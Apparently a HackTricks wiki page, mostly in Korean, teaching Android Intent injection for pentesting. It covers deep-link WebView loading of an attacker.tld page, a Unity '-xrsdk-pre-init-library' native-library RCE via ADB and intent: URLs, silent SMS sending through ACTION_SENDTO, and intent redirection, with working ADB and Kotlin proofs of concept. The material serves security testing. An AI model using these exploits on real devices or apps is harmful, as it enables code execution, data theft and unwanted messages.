Intent Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Intent injection์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” Intents ๋˜๋Š” ๋‚˜์ค‘์— Intents๋กœ ๋ณ€ํ™˜๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ์ปดํฌ๋„ŒํŠธ๋ฅผ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. Android ์•ฑ pentests ๋™์•ˆ ๋งค์šฐ ํ”ํ•œ ๋‘ ๊ฐ€์ง€ ํŒจํ„ด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์กฐ์ž‘๋œ extras๋ฅผ exported Activities/Services/BroadcastReceivers๋กœ ์ „๋‹ฌํ•˜๊ณ , ์ด๋“ค์ด ์ดํ›„ ๊ถŒํ•œ์ด ์žˆ๋Š” non-exported ์ปดํฌ๋„ŒํŠธ๋กœ ์ „๋‹ฌ๋˜๋Š” ๊ฒฝ์šฐ.
  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” URL์„ ๋‚ด๋ถ€ WebView๋‚˜ ๊ธฐํƒ€ ๋ฏผ๊ฐํ•œ sink๋กœ ์ „๋‹ฌํ•˜๋Š” exported VIEW/BROWSABLE ๋”ฅ ๋งํฌ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๊ฒฝ์šฐ.

๋”ฅ ๋งํฌ โ†’ WebView sink (URL ํŒŒ๋ผ๋ฏธํ„ฐ ์ธ์ ์…˜)

์•ฑ์ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ปค์Šคํ…€ ์Šคํ‚ด ๋”ฅ ๋งํฌ๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ:

myscheme://com.example.app/web?url=<attacker_url>

๊ทธ๋ฆฌ๊ณ  ์ˆ˜์‹  Activity๊ฐ€ url ์ฟผ๋ฆฌ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ WebView๋กœ ์ „๋‹ฌํ•˜๋ฉด, ์•ฑ์ด ์ž์ฒด WebView ์ปจํ…์ŠคํŠธ์—์„œ ์ž„์˜์˜ ์›๊ฒฉ ์ฝ˜ํ…์ธ ๋ฅผ ๋ Œ๋”๋งํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

adb๋ฅผ ํ†ตํ•œ PoC:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

์˜ํ–ฅ

  • HTML/JS๊ฐ€ ์•ฑ์˜ WebView ํ”„๋กœํ•„ ๋‚ด์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • JavaScript๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด(๊ธฐ๋ณธ๊ฐ’์ด๊ฑฐ๋‚˜ ๊ฒ€์‚ฌ ์ˆœ์„œ๊ฐ€ ์ž˜๋ชป๋œ ๊ฒฝ์šฐ) ๋…ธ์ถœ๋œ @JavascriptInterface ๊ฐ์ฒด๋ฅผ ์—ด๊ฑฐ/์‚ฌ์šฉํ•˜๊ณ  WebView ์ฟ ํ‚ค/๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€๋ฅผ ํƒˆ์ทจํ•˜๋ฉฐ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

See also:

Webview Attacks

๊ฒ€์‚ฌ ์ˆœ์„œ ๋ฒ„๊ทธ๋กœ ์ธํ•œ JavaScript ํ™œ์„ฑํ™”

์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„๊ทธ๋Š” ์ตœ์ข… URL ํ—ˆ์šฉ ๋ชฉ๋ก/๊ฒ€์ฆ์ด ์™„๋ฃŒ๋˜๊ธฐ ์ „์— JavaScript(๋˜๋Š” ๊ธฐํƒ€ ๊ด€๋Œ€ํ•œ WebView ์„ค์ •)๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ดˆ๊ธฐ ํ—ฌํผ๊ฐ€ ๋‹น์‹ ์˜ ๋”ฅ ๋งํฌ๋ฅผ ์ˆ˜๋ฝํ•˜๊ณ  WebView๊ฐ€ ๋จผ์ € ๊ตฌ์„ฑ๋˜๋ฉด, ์ดํ›„ ๊ฒ€์‚ฌ๊ฐ€ ์ž˜๋ชป๋˜์—ˆ๊ฑฐ๋‚˜ ๋„ˆ๋ฌด ๋Šฆ๋”๋ผ๋„ ์ตœ์ข… ๋กœ๋“œ๋Š” ์ด๋ฏธ JavaScript๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

๋””์ปดํŒŒ์ผ๋œ ์ฝ”๋“œ์—์„œ ์ฐพ์•„๋ณผ ํ•ญ๋ชฉ:

  • URL์„ ๋‹ค๋ฅด๊ฒŒ ํŒŒ์‹ฑ/๋ถ„ํ• /์žฌ๊ตฌ์„ฑํ•˜๋Š” ์—ฌ๋Ÿฌ ํ—ฌํผ(์ •๊ทœํ™” ๋ถˆ์ผ์น˜).
  • ๋งˆ์ง€๋ง‰ ํ˜ธ์ŠคํŠธ/๊ฒฝ๋กœ ํ—ˆ์šฉ ๋ชฉ๋ก ๊ฒ€์‚ฌ ์ „์— getSettings().setJavaScriptEnabled(true)๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ถ€๋ถ„.
  • ํŒŒ์ดํ”„๋ผ์ธ ์˜ˆ์‹œ: ํŒŒ์‹ฑ โ†’ ๋ถ€๋ถ„ ๊ฒ€์ฆ โ†’ WebView ๊ตฌ์„ฑ โ†’ ์ตœ์ข… ๊ฒ€์ฆ โ†’ loadUrl.

Unity Runtime: Intent-to-CLI extras โ†’ ์‚ฌ์ „ ์ดˆ๊ธฐํ™” ๋„ค์ดํ‹ฐ๋ธŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์ž… (RCE)

Unity ๊ธฐ๋ฐ˜ Android ์•ฑ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์ง„์ž… Activity๋กœ com.unity3d.player.UnityPlayerActivity(๋˜๋Š” UnityPlayerGameActivity)๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Unity์˜ Android ํ…œํ”Œ๋ฆฟ์€ unity๋ผ๋Š” ์ด๋ฆ„์˜ ํŠน๋ณ„ํ•œ Intent extra๋ฅผ Unity ๋Ÿฐํƒ€์ž„์— ์ „๋‹ฌ๋˜๋Š” ๋ช…๋ น์ค„ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด๋กœ ์ทจ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. ์ง„์ž… Activity๊ฐ€ exported๋˜์–ด ์žˆ์œผ๋ฉด(๋งŽ์€ ํ…œํ”Œ๋ฆฟ์˜ ๊ธฐ๋ณธ๊ฐ’), ๋กœ์ปฌ ์•ฑ โ€” ๊ฒฝ์šฐ์— ๋”ฐ๋ผ BROWSABLE๊ฐ€ ์„ค์ •๋œ ์›น์‚ฌ์ดํŠธ๋„ โ€” ์ด extra๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์œ„ํ—˜ํ•˜๊ณ  ๋ฌธ์„œํ™”๋˜์ง€ ์•Š์€ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋งค์šฐ ์ดˆ๊ธฐ ํ”„๋กœ์„ธ์Šค ์ดˆ๊ธฐํ™” ์ค‘์— ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค:

  • ์ˆจ๊ฒจ์ง„ ํ”Œ๋ž˜๊ทธ: -xrsdk-pre-init-library <absolute-path>
  • ํšจ๊ณผ: ์ดˆ๊ธฐํ™” ๋‹จ๊ณ„ ์ดˆ๊ธฐ์— dlopen(<absolute-path>, RTLD_NOW)๊ฐ€ ํ˜ธ์ถœ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ELF๊ฐ€ ๋Œ€์ƒ ์•ฑ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์—์„œ ํ•ด๋‹น UID์™€ ๊ถŒํ•œ์œผ๋กœ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋ง ๋ฐœ์ทŒ(๋‹จ์ˆœํ™”):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

์ž‘๋™ ์›๋ฆฌ

  • The Intent extra unity๋Š” Unity ๋Ÿฐํƒ€์ž„ ํ”Œ๋ž˜๊ทธ๋กœ ํŒŒ์‹ฑ๋ฉ๋‹ˆ๋‹ค.
  • pre-init ํ”Œ๋ž˜๊ทธ๋ฅผ ์ œ๊ณตํ•˜๋ฉด Unity๊ฐ€ ํ—ˆ์šฉ๋œ linker namespace ๊ฒฝ๋กœ ๋‚ด์˜ ๊ณต๊ฒฉ์ž ์ œ์–ด ELF ๊ฒฝ๋กœ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค (์•„๋ž˜ ์ œ์•ฝ ์ฐธ์กฐ).

Conditions for exploitation

  • Unity์˜ entry Activity๋Š” exported๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค(์ผ๋ฐ˜์ ์œผ๋กœ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ true).
  • ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•œ ์›ํด๋ฆญ ์›๊ฒฉ์˜ ๊ฒฝ์šฐ: entry Activity๋Š” android.intent.category.BROWSABLE๋„ ์„ ์–ธํ•˜์—ฌ intent: URL์—์„œ extras๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Local exploitation (same device)

  1. ํ”ผํ•ด์ž ์•ฑ์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ์— payload ELF๋ฅผ ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•: ๊ณต๊ฒฉ์ž ์•ฑ์— ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํฌํ•จ์‹œ์ผœ attacker์˜ manifest์— ์„ค์ •ํ•˜์—ฌ /data/app/.../lib/<abi>/ ์•„๋ž˜์— ์ถ”์ถœ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:
<application android:extractNativeLibs="true" ...>
  1. unity extra์—์„œ CLI pre-init flag๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”ผํ•ด์ž์˜ Unity activity๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ADB PoC ์˜ˆ์‹œ:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (์นด๋ฉ”๋ผ/๋งˆ์ดํฌ/๋„คํŠธ์›Œํฌ/์Šคํ† ๋ฆฌ์ง€ ๋“ฑ) ๋ฐ ์ธ์•ฑ ์„ธ์…˜/๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์„ ์ƒ์†ํ•ฉ๋‹ˆ๋‹ค.

Notes

  • ์ •ํ™•ํ•œ /data/app/... ๊ฒฝ๋กœ๋Š” ๊ธฐ๊ธฐ/์„ค์น˜๋งˆ๋‹ค ๋‹ค๋ฆ…๋‹ˆ๋‹ค. An attacker app๋Š” ๋Ÿฐํƒ€์ž„์— getApplicationInfo().nativeLibraryDir๋ฅผ ํ†ตํ•ด ์ž์‹ ์˜ native lib ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์ด๋ฅผ trigger์—๊ฒŒ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํŒŒ์ผ์ด ์œ ํšจํ•œ ELF๋ผ๋ฉด .so๋กœ ๋๋‚  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค โ€“ dlopen()์€ ํ™•์žฅ์ž๊ฐ€ ์•„๋‹ˆ๋ผ ELF ํ—ค๋”๋ฅผ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค.

Remote oneโ€‘click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

๊ทธ๋Ÿฌ๋‚˜ ์ตœ์‹  Android์—์„œ๋Š” ๋™์  ๋ง์ปค ๋„ค์ž„์ŠคํŽ˜์ด์Šค์™€ SELinux๊ฐ€ ๋งŽ์€ ๊ณต๊ฐœ ๊ฒฝ๋กœ(์˜ˆ: /sdcard/Download)์—์„œ์˜ ๋กœ๋”ฉ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ํ‘œ์‹œ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

์šฐํšŒ ์ „๋žต: ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ”์ดํŠธ๋ฅผ ์•ฑ์˜ private ์Šคํ† ๋ฆฌ์ง€ ์•„๋ž˜(์˜ˆ: HTTP caches)์— ์บ์‹œํ•˜๋Š” ์•ฑ์„ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ํ—ˆ์šฉ๋œ ๊ฒฝ๋กœ์— /data์™€ ์•ฑ์˜ private dir๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, -xrsdk-pre-init-library๋ฅผ ์•ฑ ์บ์‹œ ๋‚ด๋ถ€์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ๊ฐ€๋ฆฌํ‚ค๋ฉด ๋ง์ปค ์ œ์•ฝ์„ ์ถฉ์กฑ์‹œ์ผœ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค๋ฅธ Android ์•ฑ๋“ค์—์„œ ๊ด€์ฐฐ๋œ ์ด์ „์˜ cache-to-ELF RCE ํŒจํ„ด์„ ๋ฐ˜์˜ํ•ฉ๋‹ˆ๋‹ค.

Confusedโ€‘Deputy: ACTION_SENDTO๋ฅผ ํ†ตํ•œ ๋ฌด์Œ SMS/MMS (Wear OS Google Messages)

์ผ๋ถ€ ๊ธฐ๋ณธ ๋ฉ”์‹œ์ง• ์•ฑ์€ ์•”์‹œ์  ๋ฉ”์‹œ์ง• intent๋ฅผ ์ž˜๋ชป ์ž๋™ ์‹คํ–‰ํ•˜์—ฌ ์ด๋ฅผ confusedโ€‘deputy primitive๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค: ๊ถŒํ•œ ์—†๋Š” ์•ฑ์ด๋ผ๋„ Intent.ACTION_SENDTO๋ฅผ sms:, smsto:, mms:, ๋˜๋Š” mmsto:์™€ ํ•จ๊ป˜ ํŠธ๋ฆฌ๊ฑฐํ•ด ํ™•์ธ UI๋‚˜ SEND_SMS ๊ถŒํ•œ ์—†์ด ์ฆ‰์‹œ ์ „์†ก์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Key points

  • Trigger: ์•”์‹œ์  ACTION_SENDTO + ๋ฉ”์‹œ์ง• URI ์Šคํ‚ด.
  • Data: ์ˆ˜์‹ ์ž๋Š” URI์— ์„ค์ •, ๋ฉ”์‹œ์ง€ ํ…์ŠคํŠธ๋Š” "sms_body" extra์— ์„ค์ •.
  • Permissions: ์—†์Œ (no SEND_SMS), ๊ธฐ๋ณธ SMS/MMS ํ•ธ๋“ค๋Ÿฌ์— ์˜์กด.
  • Observed: Google Messages for Wear OS (patched May 2025). ๋‹ค๋ฅธ ํ•ธ๋“ค๋Ÿฌ๋„ ์œ ์‚ฌํ•˜๊ฒŒ ํ‰๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (ํŠน๋ณ„ ๊ถŒํ•œ ๋ถˆํ•„์š”)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

๊ณต๊ฒฉ ํ‘œ๋ฉด ํ™•์žฅ (Wear OS)

  • ์•กํ‹ฐ๋น„ํ‹ฐ๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์ปดํฌ๋„ŒํŠธ๋Š” ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • ๊ธฐ๋ณธ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์ž๋™์œผ๋กœ ์ „์†กํ•˜๋Š” ๊ฒฝ์šฐ, OEM ์ •์ฑ…์— ๋”ฐ๋ผ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ปจํ…์ŠคํŠธ์—์„œ ์›ํƒญ ๋˜๋Š” ์™„์ „ํžˆ ๋ฌด์Œ์œผ๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Pentest checklist

  • ๋Œ€์ƒ์—์„œ ACTION_SENDTO๋ฅผ ํ™•์ธํ•˜์—ฌ ๊ธฐ๋ณธ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์‹๋ณ„ํ•˜๊ณ , ์ž‘์„ฑ UI๋ฅผ ํ‘œ์‹œํ•˜๋Š”์ง€ ๋˜๋Š” ๋ฌด์Œ์œผ๋กœ ์ „์†กํ•˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ๋™์ž‘ ์ฐจ์ด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋„ค ๊ฐ€์ง€ ์Šคํ‚ด (sms:, smsto:, mms:, mmsto:) ๋ฐ extras (sms_body, ์˜ต์…˜์œผ๋กœ MMS์˜ subject)๋ฅผ ๋ชจ๋‘ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.
  • ์‹ค์ œ ๊ธฐ๊ธฐ์—์„œ ํ…Œ์ŠคํŠธํ•  ๋•Œ ์š”๊ธˆ์ด ๋ถ€๊ณผ๋˜๋Š” ๋ชฉ์ ์ง€/์œ ๋ฃŒ ๋ฒˆํ˜ธ(premiumโ€‘rate numbers)๋ฅผ ๊ณ ๋ คํ•˜์„ธ์š”.

Other classic Intent injection primitives

  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ Intent extras๋ฅผ ์‚ฌ์šฉํ•˜๋Š” startActivity/sendBroadcast๋กœ, ์ด extras๊ฐ€ ๋‚˜์ค‘์— ์žฌํŒŒ์‹ฑ(Intent.parseUri(...))๋˜์–ด ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ.
  • ๊ถŒํ•œ ๊ฒ€์‚ฌ ์—†์ด Intents๋ฅผ non-exported ๋ฏผ๊ฐ ์ปดํฌ๋„ŒํŠธ๋กœ ์ „๋‹ฌํ•˜๋Š” exported proxy ์ปดํฌ๋„ŒํŠธ.

exported-component ํ…Œ์ŠคํŠธ ์ž๋™ํ™” (Smali-driven ADB generation)

exported ์ปดํฌ๋„ŒํŠธ๊ฐ€ ํŠน์ • extras๋ฅผ ๊ธฐ๋Œ€ํ•  ๋•Œ, ํŽ˜์ด๋กœ๋“œ ํ˜•ํƒœ๋ฅผ ์ถ”์ธกํ•˜๋ฉด ์‹œ๊ฐ„ ๋‚ญ๋น„์™€ false negatives๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. Smali์—์„œ ํ‚ค/ํƒ€์ž…์„ ์ง์ ‘ ์ž๋™์œผ๋กœ ์ฐพ์•„๋‚ด์–ด ๋ฐ”๋กœ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ adb ๋ช…๋ น์„ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: Smali๋ฅผ ๋””์ปดํŒŒ์ผํ•˜๊ณ  getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() ๊ฐ™์€ ํ˜ธ์ถœ์„ ์Šค์บ”ํ•˜์—ฌ ๊ฐ ์ปดํฌ๋„ŒํŠธ๊ฐ€ ์†Œ๋น„ํ•˜๋Š” extras์™€ ํ•„๋“œ๋ฅผ ์ถ”๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • Output: ๋ชจ๋“  exported Activity/Service/Receiver/Provider์— ๋Œ€ํ•ด, ๋„๊ตฌ๋Š” ๊ฐ„๋‹จํ•œ ์„ค๋ช…๊ณผ ์˜ฌ๋ฐ”๋ฅธ ํƒ€์ž…์˜ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ ์šฉ๋œ ์ •ํ™•ํ•œ adb shell am .../cmd content ... ๋ช…๋ น์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

์„ค์น˜

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

์‚ฌ์šฉ๋ฒ•

python apk-components-inspector.py target.apk

์˜ˆ์‹œ ์ถœ๋ ฅ

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras ์น˜ํŠธ์‹œํŠธ (ํƒ€์ž… ์ธ์‹ ํ”Œ๋ž˜๊ทธ)

  • ๋ฌธ์ž์—ด: --es key value | ๋ฌธ์ž์—ด ๋ฐฐ์—ด: --esa key v1,v2
  • ์ •์ˆ˜: --ei key 123 | ์ •์ˆ˜ ๋ฐฐ์—ด: --eia key 1,2,3
  • ๋ถˆ๋ฆฌ์–ธ: --ez key true|false
  • Longs: --el key 1234567890
  • ์‹ค์ˆ˜: --ef key 1.23
  • URI (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null ๋ฌธ์ž์—ด extra: --esn key
  • ๊ณตํ†ต ํ”Œ๋ž˜๊ทธ: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Providers๋ฅผ ์œ„ํ•œ ํ”„๋กœ ํŒ

  • ์—์ด์ „ํŠธ ์—†์ด ContentProviders์— ์ ‘๊ทผํ•˜๋ ค๋ฉด adb shell cmd content query|insert|update|delete ...๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • SQLi ํƒ์ƒ‰์„ ์œ„ํ•ด, ๊ธฐ๋ณธ provider๊ฐ€ SQLite-backed์ธ ๊ฒฝ์šฐ --projection๊ณผ --where (์ฆ‰ selection)์„ ๋‹ค์–‘ํ•˜๊ฒŒ ์‹œ๋„ํ•˜์„ธ์š”.

Full-pipeline automation (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb ๋ช…๋ น์„ ํŒŒ์‹ฑํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋„์šฐ๋ฏธ ์Šคํฌ๋ฆฝํŠธ ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, โ€˜rโ€™) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(โ€œadb โ€œ): current = [s] elif s.startswith(โ€#โ€œ) or not s: if current: full = โ€™ โ€™.join(current).replace(โ€ \ โ€œ, โ€œ โ€œ).replace(โ€\โ€œ, โ€œโ€).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = โ€™ โ€™.join(current).replace(โ€œ \ โ€œ, โ€œ โ€œ).replace(โ€\โ€œ, โ€œโ€).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(โ€˜adbcommands.txtโ€™), 1): print(fโ€œ\nCommand {i}: {cmd}โ€œ) input(โ€œPress Enter to execute this commandโ€ฆโ€) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(โ€œOutput:\nโ€, r.stdout) if r.stderr: print(โ€œErrors:\nโ€, r.stderr) except subprocess.CalledProcessError as e: print(fโ€œCommand failed with error:\n{e.stderr}โ€œ)

</details>

๊ธฐ๊ธฐ์—์„œ ์‹คํ–‰: ์ธ์ŠคํŽ™ํ„ฐ๋Š” Python ๊ธฐ๋ฐ˜์ด๋ฉฐ `apktool`/`androguard`๊ฐ€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ Termux ๋˜๋Š” ๋ฃจํŒ…๋œ ํœด๋Œ€ํฐ์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

---

## Intent Redirection (CWE-926) โ€“ finding and exploiting

ํŒจํ„ด
- ์™ธ๋ถ€์— ๋…ธ์ถœ๋œ ์—”ํŠธ๋ฆฌ ํฌ์ธํŠธ(Activity/Service/Receiver)๊ฐ€ ๋“ค์–ด์˜ค๋Š” Intent๋ฅผ ์ฝ์–ด ์ถœ์ฒ˜/๋ฐ์ดํ„ฐ๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ๋‚ด๋ถ€ ๋˜๋Š” ์™ธ๋ถ€๋กœ ์ „๋‹ฌํ•˜๋Š” ๊ฒฝ์šฐ, ์˜ˆ:
- `startActivity(getIntent())`
- `startActivity(intent)` (์—ฌ๊ธฐ์„œ `intent`๋Š” `redirect_intent`/`next_intent`/`pending_intent` ๊ฐ™์€ extra์—์„œ ์™”๊ฑฐ๋‚˜ `Intent.parseUri(...)`๋กœ ์ƒ์„ฑ๋œ ๊ฒฝ์šฐ)
- ๊ฒ€์ฆ ์—†์ด `action`/`data`/`component` ํ•„๋“œ๋ฅผ ์‹ ๋ขฐํ•˜๊ฑฐ๋‚˜ ํ˜ธ์ถœ์ž ์‹ ์›์„ ํ™•์ธํ•˜์ง€ ์•Š์Œ.

Smali/Java์—์„œ ์ฐพ์•„์•ผ ํ•  ํ•ญ๋ชฉ
- `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)` ๋“ฑ์˜ ์‚ฌ์šฉ ์—ฌ๋ถ€.
- ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘ํ•œ Intent์— ๋Œ€ํ•ด ์ง์ ‘ `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` ํ˜ธ์ถœ.
